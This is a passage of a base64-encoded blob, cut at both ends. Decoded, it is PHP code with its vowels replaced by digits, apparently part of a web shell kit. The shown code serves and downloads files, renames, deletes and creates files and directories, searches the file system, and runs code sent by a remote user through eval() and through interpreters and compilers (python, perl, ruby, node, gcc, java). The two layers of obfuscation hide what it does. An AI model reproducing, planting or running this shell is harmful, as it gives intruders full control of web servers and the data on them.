0dDFyZ3onKXsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIkV4dHIxY3QgdDIgPyA8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnPjw0bnAzdCBjbDFzcz0nNG5wM3R6JyB0eXA1PSd0NXh0JyB2MWwzNT0nIi5oc3MoJHNfY3dkKS4iJyBuMW01PSc1eHRyMWN0dDFyZ3oyaycgc3R5bDU9J3c0ZHRoOmkwJTsnIC8+PDRucDN0IGNsMXNzPSc0bnAzdHpiM3QnIG4xbTU9J3onIHR5cDU9J3MzYm00dCcgdjFsMzU9J0cyICEnIC8+PC9mMnJtPiIpOw0KICAgICAgICAgICAgICAgIGYycjUxY2goJHNfbDRzdHMgMXMgJHNfbCkgJHNfcjVzM2x0IC49IG4ydDRmKCRzX2wpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKCRfR1BbJ3knXT09J2MybXByNXNzejRwJyl7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49IG4ydDRmKCJDMm1wcjVzcyB0MiA/IDxmMnJtIDFjdDQybj0nIi4kc19zNWxmLiInIG01dGgyZD0ncDJzdCc+PDRucDN0IGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIHYxbDM1PSciLmhzcygkc19jd2QpLnMzYnN0cihtZGkodDRtNSgpKSwwLDgpLiIuejRwJyBuMW01PSdjMm1wcjVzc3o0cDJrJyBzdHlsNT0ndzRkdGg6aTAlOycgLz48NG5wM3QgY2wxc3M9JzRucDN0emIzdCcgbjFtNT0neicgdHlwNT0nczNibTR0JyB2MWwzNT0nRzIgIScgLz48L2Yycm0+Iik7DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkc19sNHN0cyAxcyAkc19sKSAkc19yNXMzbHQgLj0gbjJ0NGYoJHNfbCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1NGYoJF9HUFsneSddPT0nYzJtcHI1c3N0MXInKXsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIkMybXByNXNzIHQyID8gPGYycm0gMWN0NDJuPSciLiRzX3M1bGYuIicgbTV0aDJkPSdwMnN0Jz48NG5wM3QgY2wxc3M9JzRucDN0eicgdHlwNT0ndDV4dCcgdjFsMzU9JyIuaHNzKCRzX2N3ZCkuczNic3RyKG1kaSh0NG01KCkpLDAsOCkuIi50MXInIG4xbTU9J2MybXByNXNzdDFyMmsnIHN0eWw1PSd3NGR0aDppMCU7JyAvPjw0bnAzdCBjbDFzcz0nNG5wM3R6YjN0JyBuMW01PSd6JyB0eXA1PSdzM2JtNHQnIHYxbDM1PSdHMiAhJyAvPjwvZjJybT4iKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2w0c3RzIDFzICRzX2wpICRzX3I1czNsdCAuPSBuMnQ0Zigkc19sKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0ZigkX0dQWyd5J109PSdjMm1wcjVzc3Qxcmd6Jyl7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49IG4ydDRmKCJDMm1wcjVzcyB0MiA/IDxmMnJtIDFjdDQybj0nIi4kc19zNWxmLiInIG01dGgyZD0ncDJzdCc+PDRucDN0IGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIHYxbDM1PSciLmhzcygkc19jd2QpLnMzYnN0cihtZGkodDRtNSgpKSwwLDgpLiIudDFyLmd6JyBuMW01PSdjMm1wcjVzc3Qxcmd6MmsnIHN0eWw1PSd3NGR0aDppMCU7JyAvPjw0bnAzdCBjbDFzcz0nNG5wM3R6YjN0JyBuMW01PSd6JyB0eXA1PSdzM2JtNHQnIHYxbDM1PSdHMiAhJyAvPjwvZjJybT4iKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2w0c3RzIDFzICRzX2wpICRzX3I1czNsdCAuPSBuMnQ0Zigkc19sKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIHY0NXcgNG0xZzUgc3A1YzRmNDVkIGJ5ID80bWc9PGY0bDU+DQogICAgNGYoNHNzNXQoJF9HUFsnNG1nJ10pKXsNCiAgICAgICAgMmJfNW5kX2NsNTFuKCk7DQogICAgICAgICRzX2QgPSA0c3M1dCgkX0dQWydkJ10pPyAkX0dQWydkJ106IiI7DQogICAgICAgICRzX2YgPSAkX0dQWyc0bWcnXTsNCiAgICAgICAgJHNfNG5mID0gQGc1dDRtMWc1czR6NSgkc19kLiRzX2YpOw0KICAgICAgICAkc181eHQgPSA1eHBsMmQ1KCRzX2YsICIuIik7DQogICAgICAgICRzXzV4dCA9ICRzXzV4dFtjMjNudCgkc181eHQpLTZdOw0KICAgICAgICBoNTFkNXIoIkMybnQ1bnQtdHlwNTogIi4kc180bmZbIm00bTUiXSk7DQogICAgICAgIGg1MWQ1cigiQzFjaDUtYzJudHIybDogcDNibDRjIik7DQogICAgICAgIGg1MWQ1cigiRXhwNHI1czogIi5AZDF0NSgiciIsIEBta3Q0bTUoMCwwLDAsNiw2LGEwbzApKSk7DQogICAgICAgIGg1MWQ1cigiQzFjaDUtYzJudHIybDogbTF4LTFnNT0iLihlMCplMCphdSo3KSk7Iw0KICAgICAgICByNTFkZjRsNSgkc19kLiRzX2YpOw0KICAgICAgICBkNDUoKTsNCiAgICB9IC8vIHI1bjFtNSBmNGw1IDJyIGYybGQ1cg0KICAgIDVsczU0Zig0c3M1dCgkX0dQWycybGRuMW01J10pICYmIDRzczV0KCRfR1BbJ3I1bjFtNSddKSl7DQogICAgICAgICRzXzJsZCA9ICRfR1BbJzJsZG4xbTUnXTsNCiAgICAgICAgJHNfbjV3ID0gJF9HUFsncjVuMW01J107DQoNCiAgICAgICAgJHNfcjVubXNnID0gIiI7DQogICAgICAgIDRmKEA0c19kNHIoJHNfMmxkKSkgJHNfcjVubXNnID0gKEByNW4xbTUoJHNfMmxkLCAkc19uNXcpKT8gIkQ0cjVjdDJyeSAiLiRzXzJsZC4iIHI1bjFtNWQgdDIgIi4kc19uNXcgOiAiVW4xYmw1IHQyIHI1bjFtNSBkNHI1Y3QycnkgIi4kc18ybGQuIiB0MiAiLiRzX241dzsNCiAgICAgICAgNWxzNTRmKEA0c19mNGw1KCRzXzJsZCkpICRzX3I1bm1zZyA9IChAcjVuMW01KCRzXzJsZCwgJHNfbjV3KSk/ICJGNGw1ICIuJHNfMmxkLiIgcjVuMW01ZCB0MiAiLiRzX241dyA6ICJVbjFibDUgdDIgcjVuMW01IGY0bDUgIi4kc18ybGQuIiB0MiAiLiRzX241dzsNCiAgICAgICAgNWxzNSAkc19yNW5tc2cgPSAiQzFubjJ0IGY0bmQgdGg1IHAxdGggc3A1YzRmNDVkICIuJHNfMmxkOw0KDQogICAgICAgICRzX3I1czNsdCAuPSBuMnQ0Zigkc19yNW5tc2cpOw0KICAgICAgICAkc19mbjV3ID0gJHNfbjV3Ow0KICAgIH0gLy8gYzJuZjRybSBkNWw1dDUNCiAgICA1bHM1NGYoITVtcHR5KCRfR1BbJ2Q1bCddKSl7DQogICAgICAgICRzX2Q1bCA9IHRyNG0oJF9HUFsnZDVsJ10pOw0KICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIkQ1bDV0NSAiLmIxczVuMW01KCRzX2Q1bCkuIiA/IDwxIGhyNWY9JyIuJHNfczVsZi4iZDVsNXQ1PSIucGwoJHNfZDVsKS4iJz5ZNXM8LzE+IHwgPDEgaHI1Zj0nIi4kc19zNWxmLiInPk4yPC8xPiIpOw0KICAgIH0gLy8gZDVsNXQ1IGY0bDUNCiAgICA1bHM1NGYoITVtcHR5KCRfR1BbJ2Q1bDV0NSddKSl7DQogICAgICAgICRzX2YgPSAkX0dQWydkNWw1dDUnXTsNCiAgICAgICAgJHNfZDVsbXNnID0gIiI7DQoNCiAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZikpICRzX2Q1bG1zZyA9ICgzbmw0bmsoJHNfZikpPyAiRjRsNSByNW0ydjVkIDogIi4kc19mIDogIlVuMWJsNSB0MiByNW0ydjUgZjRsNSAiLiRzX2Y7DQogICAgICAgIDVsczU0ZihANHNfZDRyKCRzX2YpKXsNCiAgICAgICAgICAgIHJtZDRycygkc19mKTsNCiAgICAgICAgICAgICRzX2Q1bG1zZyA9IChANHNfZDRyKCRzX2YpKT8gIlVuMWJsNSB0MiByNW0ydjUgZDRyNWN0MnJ5ICIuJHNfZiA6ICJENHI1Y3QycnkgcjVtMnY1ZCA6ICIuJHNfZjsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1ICRzX2Q1bG1zZyA9ICJDMW5uMnQgZjRuZCB0aDUgcDF0aCBzcDVjNGY0NWQgIi4kc19mOw0KICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoJHNfZDVsbXNnKTsNCiAgICB9IC8vIGNyNTF0NSBkNHINCiAgICA1bHM1NGYoITVtcHR5KCRfR1BbJ21rZDRyJ10pKXsNCiAgICAgICAgJHNfZiA9ICRzX2N3ZC4kX0dQWydta2Q0ciddOw0KICAgICAgICAkc19kNHJtc2cgPSAiIjsNCg0KICAgICAgICAkc19uM20gPSA2Ow0KICAgICAgICA0ZihANHNfZDRyKCRzX2YpKXsNCiAgICAgICAgICAgICRzX3AycyA9IHN0cnJwMnMoJHNfZiwiXyIpOw0KICAgICAgICAgICAgNGYoJHNfcDJzIT09ZjFsczUpICRzX24zbSA9ICg0bnQpIHMzYnN0cigkc19mLCAkc19wMnMrNik7DQogICAgICAgICAgICB3aDRsNShANHNfZDRyKHMzYnN0cigkc19mLCAwLCAkc19wMnMpLiJfIi4kc19uM20pKXsNCiAgICAgICAgICAgICAgICAkc19uM20rKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzX2YgPSBzM2JzdHIoJHNfZiwgMCwgJHNfcDJzKS4iXyIuJHNfbjNtOw0KICAgICAgICB9DQogICAgICAgIDRmKG1rZDRyKCRzX2YpKSAkc19kNHJtc2cgPSAiRDRyNWN0MnJ5IGNyNTF0NWQgIi4kc19mOw0KICAgICAgICA1bHM1ICRzX2Q0cm1zZyA9ICJVbjFibDUgdDIgY3I1MXQ1IGQ0cjVjdDJyeSAiLiRzX2Y7DQoNCiAgICAgICAgJHNfcjVzM2x0IC49IG4ydDRmKCRzX2Q0cm1zZyk7DQogICAgfSAvLyBwaHAgNXYxbCgpIGYzbmN0NDJuDQogICAgNGYoNHNzNXQoJF9HUFsneCddKSAmJiAoJF9HUFsneCddPT0nNXYxbCcpKXsNCiAgICAgICAgJHNfYzJkNSA9ICIiOw0KICAgICAgICAkc19yNXMgPSAiIjsNCiAgICAgICAgJHNfNXYxbDJwdDQybiA9ICIiOw0KICAgICAgICAkc19sMW5nID0gInBocCI7DQoNCiAgICAgICAgNGYoNHNzNXQoJF9HUFsnNXYxbGMyZDUnXSkpew0KICAgICAgICAgICAgJHNfYzJkNSA9ICRfR1BbJzV2MWxjMmQ1J107DQogICAgICAgICAgICAkc181djFsMnB0NDJuID0gKDRzczV0KCRfR1BbJzV2MWwycHQ0Mm4nXSkpPyAkX0dQWyc1djFsMnB0NDJuJ106IiI7DQogICAgICAgICAgICAkc190bXBkNHIgPSBnNXRfd3I0dDFibDVkNHIoKTsNCg0KICAgICAgICAgICAgNGYoNHNzNXQoJF9HUFsnbDFuZyddKSl7JHNfbDFuZyA9ICRfR1BbJ2wxbmcnXTt9DQoNCiAgICAgICAgICAgIDRmKHN0cnQybDJ3NXIoJHNfbDFuZyk9PSdwaHAnKXsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIDV2MWwoJHNfYzJkNSk7DQogICAgICAgICAgICAgICAgJHNfcjVzID0gMmJfZzV0X2MybnQ1bnRzKCk7DQogICAgICAgICAgICAgICAgMmJfNW5kX2NsNTFuKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1NGYoc3RydDJsMnc1cigkc19sMW5nKT09J3B5dGgybid8fHN0cnQybDJ3NXIoJHNfbDFuZyk9PSdwNXJsJ3x8c3RydDJsMnc1cigkc19sMW5nKT09J3IzYnknfHxzdHJ0MmwydzVyKCRzX2wxbmcpPT0nbjJkNSd8fHN0cnQybDJ3NXIoJHNfbDFuZyk9PSduMmQ1anMnKXsNCiAgICAgICAgICAgICAgICAkc19yMW5kID0gbWRpKHQ0bTUoKS5yMW5kKDAsNjAwKSk7DQogICAgICAgICAgICAgICAgJHNfc2NyNHB0ID0gJHNfdG1wZDRyLiRzX3IxbmQ7DQogICAgICAgICAgICAgICAgNGYoZjRsNV9wM3RfYzJudDVudHMoJHNfc2NyNHB0LCAkc19jMmQ1KSE9PWYxbHM1KXsNCiAgICAgICAgICAgICAgICAgICAgJHNfcjVzID0gNXg1KCRzX2wxbmcuIiAiLiRzXzV2MWwycHQ0Mm4uIiAiLiRzX3NjcjRwdCk7DQogICAgICAgICAgICAgICAgICAgIDNubDRuaygkc19zY3I0cHQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0ZihzdHJ0MmwydzVyKCRzX2wxbmcpPT0nZ2NjJyl7DQogICAgICAgICAgICAgICAgJHNfc2NyNHB0ID0gbWRpKHQ0bTUoKS5yMW5kKDAsNjAwKSk7DQogICAgICAgICAgICAgICAgY2hkNHIoJHNfdG1wZDRyKTsNCiAgICAgICAgICAgICAgICA0ZihmNGw1X3AzdF9jMm50NW50cygkc19zY3I0cHQuIi5jIiwgJHNfYzJkNSkhPT1mMWxzNSl7DQogICAgICAgICAgICAgICAgICAgICRzX3NjcjRwdDIzdCA9ICRzX3c0biA/ICRzX3NjcjRwdC4iLjV4NSIgOiAkc19zY3I0cHQ7DQogICAgICAgICAgICAgICAgICAgICRzX3I1cyA9IDV4NSgiZ2NjICIuJHNfc2NyNHB0LiIuYyAtMiAiLiRzX3NjcjRwdDIzdC4kc181djFsMnB0NDJuKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJHNfc2NyNHB0MjN0KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkc19yNXMgPSAkc193NG4gPyA1eDUoJHNfc2NyNHB0MjN0KTo1eDUoImNobTJkICt4ICIuJHNfc2NyNHB0MjN0LiIgOyAuLyIuJHNfc2NyNHB0MjN0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1bjFtNSgkc19zY3I0cHQyM3QsICRzX3NjcjRwdDIzdC4iZDVsIik7DQogICAgICAgICAgICAgICAgICAgICAgICAzbmw0bmsoJHNfc2NyNHB0MjN0LiJkNWwiKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAzbmw0bmsoJHNfc2NyNHB0LiIuYyIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBjaGQ0cigkc19jd2QpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKHN0cnQybDJ3NXIoJHNfbDFuZyk9PSdqMXYxJyl7DQogICAgICAgICAgICAgICAgNGYocHI1Z19tMXRjaCgiL2NsMXNzXCAoW157XSspey80Iiwkc19jMmQ1LCAkc19yKSl7DQogICAgICAgICAgICAgICAgICAgICRzX2NsMXNzbjFtNSA9IHRyNG0oJHNfcls2XSk7DQogICAgICAgICAgICAgICAgICAgICRzX3NjcjRwdCA9ICRzX2NsMXNzbjFtNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNWxzNXsNCiAgICAgICAgICAgICAgICAgICAgJHNfcjFuZCA9ICJibzd1a18iLnMzYnN0cihtZGkodDRtNSgpLnIxbmQoMCw2MDApKSwwLDgpOw0KICAgICAgICAgICAgICAgICAgICAkc19zY3I0cHQgPSAkc19yMW5kOw0KICAgICAgICAgICAgICAgICAgICAkc19jMmQ1ID0gImNsMXNzICIuJHNfcjFuZC4iIHsgIi4kc19jMmQ1IC4gIiB9ICI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGNoZDRyKCRzX3RtcGQ0cik7DQogICAgICAgICAgICAgICAgNGYoZjRsNV9wM3RfYzJudDVudHMoJHNfc2NyNHB0LiIuajF2MSIsICRzX2MyZDUpIT09ZjFsczUpew0KICAgICAgICAgICAgICAgICAgICAkc19yNXMgPSA1eDUoImoxdjFjICIuJHNfc2NyNHB0LiIuajF2MSIpOw0KICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkc19zY3I0cHQuIi5jbDFzcyIpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1cyAuPSA1eDUoImoxdjEgIi4kc181djFsMnB0NDJuLiIgIi4kc19zY3I0cHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgM25sNG5rKCRzX3NjcjRwdC4iLmNsMXNzIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgM25sNG5rKCRzX3NjcjRwdC4iLmoxdjEiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgY2hkNHIoJHNfcHdkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICRzX2wxbmdfMXYxNGwxYmw1ID0gIjwycHQ0Mm4gdjFsMzU9J3BocCc+cGhwPC8ycHQ0Mm4+IjsNCiAgICAgICAgJHNfczVsNWN0NWQgPSAiIjsNCiAgICAgICAgJHNfMWNjNXNzID0gMXJyMXkoInNfcHl0aDJuIiwgInNfcDVybCIsICJzX3IzYnkiLCAic19uMmQ1IiwgInNfbjJkNWpzIiwgInNfZ2NjIiwgInNfajF2MWMiKTsNCiAgICAgICAgZjJyNTFjaCgkc18xY2M1c3MgMXMgJHMpew0KICAgICAgICAgICAgNGYoNHNzNXQoJCRzKSl7DQogICAgICAgICAgICAgICAgJHNfdCA9IDV4cGwyZDUoIl8iLCAkcyk7DQogICAgICAgICAgICAgICAgJHNfY2g1Y2s1ZCA9ICgkc19sMW5nID09ICRzX3RbNl0pPyAiczVsNWN0NWQiIDogIiI7DQogICAgICAgICAgICAgICAgJHNfbDFuZ18xdjE0bDFibDUgLj0gIjwycHQ0Mm4gdjFsMzU9JyIuJHNfdFs2XS4iJyAiLiRzX2NoNWNrNWQuIj4iLiRzX3RbNl0uIjwvMnB0NDJuPiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkc181djFsMnB0NDJuY2wxc3MgPSAoJHNfbDFuZz09InBocCIpPyAiczVtYjNueTQiOiIiOw0KICAgICAgICAkc181X3I1czNsdCA9ICghNW1wdHkoJHNfcjVzKSk/ICI8cHI1IDRkPSc1djFscjVzJyBjbDFzcz0nYnQnIHN0eWw1PSdtMXJnNG46dXB4IDAgMCAwO3AxZGQ0bmc6ZXB4IDA7JyA+Ii5oc3MoJHNfcjVzKS4iPC9wcjU+IjoiIjsNCiAgICAgICAgJHNfcjVzM2x0IC49ICI8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnPg0KCQkJCQk8dDV4dDFyNTEgNGQ9JzV2MWxjMmQ1JyBuMW01PSc1djFsYzJkNScgc3R5bDU9J2g1NGdodDo2aTBweDsnIGNsMXNzPSd0eHQxcjUxJz4iLmhzcygkc19jMmQ1KS4iPC90NXh0MXI1MT4NCgkJCQkJPHQxYmw1Pjx0cj48dGQgc3R5bDU9J3AxZGQ0bmc6MDsnPjxwPjw0bnAzdCB0eXA1PSdzM2JtNHQnIG4xbTU9JzV2MWxjMmQ1czNibTR0JyBjbDFzcz0nNG5wM3R6YjN0JyB2MWwzNT0nRzIgIScgc3R5bDU9J3c0ZHRoOjZhMHB4O2g1NGdodDpvMHB4OycgLz48L3A+DQoJCQkJCTwvdGQ+PHRkPjxzNWw1Y3QgbjFtNT0nbDFuZycgMm5jaDFuZzU9JzV2MWxzNWw1Y3QodGg0cyk7JyBjbDFzcz0nNG5wM3R6YjN0JyBzdHlsNT0ndzRkdGg6NmEwcHg7aDU0Z2h0Om8wcHg7cDFkZDRuZzp1cHg7Jz4NCgkJCQkJIi4kc19sMW5nXzF2MTRsMWJsNS4iDQoJCQkJCTwvczVsNWN0Pg0KCQkJCQk8L3RkPg0KCQkJCQk8dGQ+PGQ0diB0NHRsNT0nSWYgeTIzIHcxbnQgdDIgZzR2NSAxZGQ0dDQybjFsIDJwdDQybiB0MiA0bnQ1cnByNXQ1ciAyciBjMm1wNGw1ciwgZzR2NSA0dCBoNXI1JyA0ZD0nMWRkNHQ0Mm4xbDJwdDQybicgY2wxc3M9JyIuJHNfNXYxbDJwdDQybmNsMXNzLiInPkFkZDR0NDJuMWwgMnB0NDJuJm5ic3A7Jm5ic3A7PDRucDN0IGNsMXNzPSc0bnAzdHonIHN0eWw1PSd3NGR0aDp1MDBweDsnIHR5cDU9J3Q1eHQnIG4xbTU9JzV2MWwycHQ0Mm4nIHYxbDM1PSciLmhzcygkc181djFsMnB0NDJuKS4iJyA0ZD0nNXYxbDJwdDQybicgLz48L2Q0dj48L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8L3QxYmw1Pg0KCQkJCQkiLiRzXzVfcjVzM2x0LiINCgkJCQkJPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0neCcgdjFsMzU9JzV2MWwnIC8+DQoJCQkJCTwvZjJybT4iOw0KICAgIH0gLy8gZjRuZA0KICAgIDVsczU0Zig0c3M1dCgkX0dQWydmNG5kJ10pKXsNCiAgICAgICAgJHNfcCA9ICRfR1BbJ2Y0bmQnXTsNCg0KICAgICAgICAkc190eXA1ID0gNHNzNXQoJF9HUFsndHlwNSddKT8gJF9HUFsndHlwNSddIDogInNmNGw1IjsNCiAgICAgICAgJHNfc2ZuMW01ID0gKCE1bXB0eSgkX0dQWydzZm4xbTUnXSkpPyAkX0dQWydzZm4xbTUnXTonJzsNCiAgICAgICAgJHNfc2RuMW01ID0gKCE1bXB0eSgkX0dQWydzZG4xbTUnXSkpPyAkX0dQWydzZG4xbTUnXTonJzsNCiAgICAgICAgJHNfc2ZjMm50MTRuID0gKCE1bXB0eSgkX0dQWydzZmMybnQxNG4nXSkpPyAkX0dQWydzZmMybnQxNG4nXTonJzsNCg0KICAgICAgICAkc19zZm4xbTVyNWc1eGNoNWNrNWQgPSAkc19zZm4xbTU0YzFzNWNoNWNrNWQgPSAkc19zZG4xbTVyNWc1eGNoNWNrNWQgPSAkc19zZG4xbTU0YzFzNWNoNWNrNWQgPSAkc19zZmMybnQxNG5yNWc1eGNoNWNrNWQgPSAkc19zZmMybnQxNG40YzFzNWNoNWNrNWQgPSAkc19zd3I0dDFibDVjaDVjazVkID0gJHNfc3I1MWQxYmw1Y2g1Y2s1ZCA9ICRzX3M1eDVjM3QxYmw1Y2g1Y2s1ZCA9ICIiOw0KICAgICAgICAkc19zZm4xbTVyNWc1eCA9ICRzX3NmbjFtNTRjMXM1ID0gJHNfc2RuMW01cjVnNXggPSAkc19zZG4xbTU0YzFzNSA9ICRzX3NmYzJudDE0bnI1ZzV4ID0gJHNfc2ZjMm50MTRuNGMxczUgPSAkc19zd3I0dDFibDUgPSAkc19zcjUxZDFibDUgPSAkc19zNXg1YzN0MWJsNSA9IGYxbHM1Ow0KDQogICAgICAgIDRmKDRzczV0KCRfR1BbJ3NmbjFtNXI1ZzV4J10pKXsgJHNfc2ZuMW01cjVnNXg9dHIzNTsgJHNfc2ZuMW01cjVnNXhjaDVjazVkPSJjaDVjazVkIjsgfQ0KICAgICAgICA0Zig0c3M1dCgkX0dQWydzZm4xbTU0YzFzNSddKSl7ICRzX3NmbjFtNTRjMXM1PXRyMzU7ICRzX3NmbjFtNTRjMXM1Y2g1Y2s1ZD0iY2g1Y2s1ZCI7IH0NCiAgICAgICAgNGYoNHNzNXQoJF9HUFsnc2RuMW01cjVnNXgnXSkpeyAkc19zZG4xbTVyNWc1eD10cjM1OyAkc19zZG4xbTVyNWc1eGNoNWNrNWQ9ImNoNWNrNWQiOyB9DQogICAgICAgIDRmKDRzczV0KCRfR1BbJ3NkbjFtNTRjMXM1J10pKXsgJHNfc2RuMW01NGMxczU9dHIzNTsgJHNfc2RuMW01NGMxczVjaDVjazVkPSJjaDVjazVkIjsgfQ0KICAgICAgICA0Zig0c3M1dCgkX0dQWydzZmMybnQxNG5yNWc1eCddKSl7ICRzX3NmYzJudDE0bnI1ZzV4PXRyMzU7ICRzX3NmYzJudDE0bnI1ZzV4Y2g1Y2s1ZD0iY2g1Y2s1ZCI7IH0NCiAgICAgICAgNGYoNHNzNXQoJF9HUFsnc2ZjMm50MTRuNGMxczUnXSkpeyAkc19zZmMybnQxNG40YzFzNT10cjM1OyAkc19zZmMybnQxNG40YzFzNWNoNWNrNWQ9ImNoNWNrNWQiOyB9DQogICAgICAgIDRmKDRzczV0KCRfR1BbJ3N3cjR0MWJsNSddKSl7ICRzX3N3cjR0MWJsNT10cjM1OyAkc19zd3I0dDFibDVjaDVjazVkPSJjaDVjazVkIjsgfQ0KICAgICAgICA0Zig0c3M1dCgkX0dQWydzcjUxZDFibDUnXSkpeyAkc19zcjUxZDFibDU9dHIzNTsgJHNfc3I1MWQxYmw1Y2g1Y2s1ZD0iY2g1Y2s1ZCI7IH0NCiAgICAgICAgNGYoNHNzNXQoJF9HUFsnczV4NWMzdDFibDUnXSkpeyAkc19zNXg1YzN0MWJsNT10cjM1OyAkc19zNXg1YzN0MWJsNWNoNWNrNWQ9ImNoNWNrNWQiOyB9DQoNCiAgICAgICAgJHNfczV4NWNiID0gKGYzbmN0NDJuXzV4NHN0cygiNHNfNXg1YzN0MWJsNSIpKT8gIjw0bnAzdCBjbDFzcz0nY3NzLWNoNWNrYjJ4JyB0eXA1PSdjaDVja2IyeCcgbjFtNT0nczV4NWMzdDFibDUnIHYxbDM1PSdzNXg1YzN0MWJsNScgNGQ9J3M1JyAiLiRzX3M1eDVjM3QxYmw1Y2g1Y2s1ZC4iIC8+PGwxYjVsIGNsMXNzPSdjc3MtbDFiNWwnIGYycj0nczUnPkV4NWMzdDFibDU8L3NwMW4+IjoiIjsNCg0KICAgICAgICAkc19jMW5kNGQxdDUgPSAxcnIxeSgpOw0KICAgICAgICA0Zig0c3M1dCgkX0dQWydzZzInXSkpew0KICAgICAgICAgICAgJHNfMWYgPSAiIjsNCg0KICAgICAgICAgICAgJHNfYzFuZDRkMXQ1ID0gZzV0MWxsZjRsNXMoJHNfcCk7DQogICAgICAgICAgICA0Zigkc190eXA1PT0nc2Y0bDUnKSAkc19jMW5kNGQxdDUgPSBAMXJyMXlfZjRsdDVyKCRzX2MxbmQ0ZDF0NSwgIjRzX2Y0bDUiKTsNCiAgICAgICAgICAgIDVsczU0Zigkc190eXA1PT0nc2Q0cicpICRzX2MxbmQ0ZDF0NSA9IEAxcnIxeV9mNGx0NXIoJHNfYzFuZDRkMXQ1LCAiNHNfZDRyIik7DQoNCiAgICAgICAgICAgIGYycjUxY2goJHNfYzFuZDRkMXQ1IDFzICRzXzEpew0KICAgICAgICAgICAgICAgIDRmKCRzX3R5cDU9PSdzZDRyJyl7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkc19zZG4xbTUpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRzX3NkbjFtNXI1ZzV4KXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zigkc19zZG4xbTU0YzFzNSl7NGYoIXByNWdfbTF0Y2goIi8iLiRzX3NkbjFtNS4iLzQiLCBiMXM1bjFtNSgkc18xKSkpICRzX2MxbmQ0ZDF0NSA9IDFycjF5X2Q0ZmYoJHNfYzFuZDRkMXQ1LCAxcnIxeSgkc18xKSk7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczV7NGYoIXByNWdfbTF0Y2goIi8iLiRzX3NkbjFtNS4iLyIsIGIxczVuMW01KCRzXzEpKSkgJHNfYzFuZDRkMXQ1ID0gMXJyMXlfZDRmZigkc19jMW5kNGQxdDUsIDFycjF5KCRzXzEpKTt9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1ew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRzX3NkbjFtNTRjMXM1KXs0ZihzdHJwMnMoc3RydDJsMnc1cihiMXM1bjFtNSgkc18xKSksIHN0cnQybDJ3NXIoJHNfc2RuMW01KSk9PT1mMWxzNSkgJHNfYzFuZDRkMXQ1ID0gMXJyMXlfZDRmZigkc19jMW5kNGQxdDUsIDFycjF5KCRzXzEpKTt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNXs0ZihzdHJwMnMoYjFzNW4xbTUoJHNfMSksICRzX3NkbjFtNSk9PT1mMWxzNSkgJHNfYzFuZDRkMXQ1ID0gMXJyMXlfZDRmZigkc19jMW5kNGQxdDUsIDFycjF5KCRzXzEpKTt9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNWxzNTRmKCRzX3R5cDU9PSdzZjRsNScpew0KICAgICAgICAgICAgICAgICAgICA0ZighNW1wdHkoJHNfc2ZuMW01KSl7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zigkc19zZm4xbTVyNWc1eCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHNfc2ZuMW01NGMxczUpezRmKCFwcjVnX20xdGNoKCIvIi4kc19zZm4xbTUuIi80IiwgYjFzNW4xbTUoJHNfMSkpKSAkc1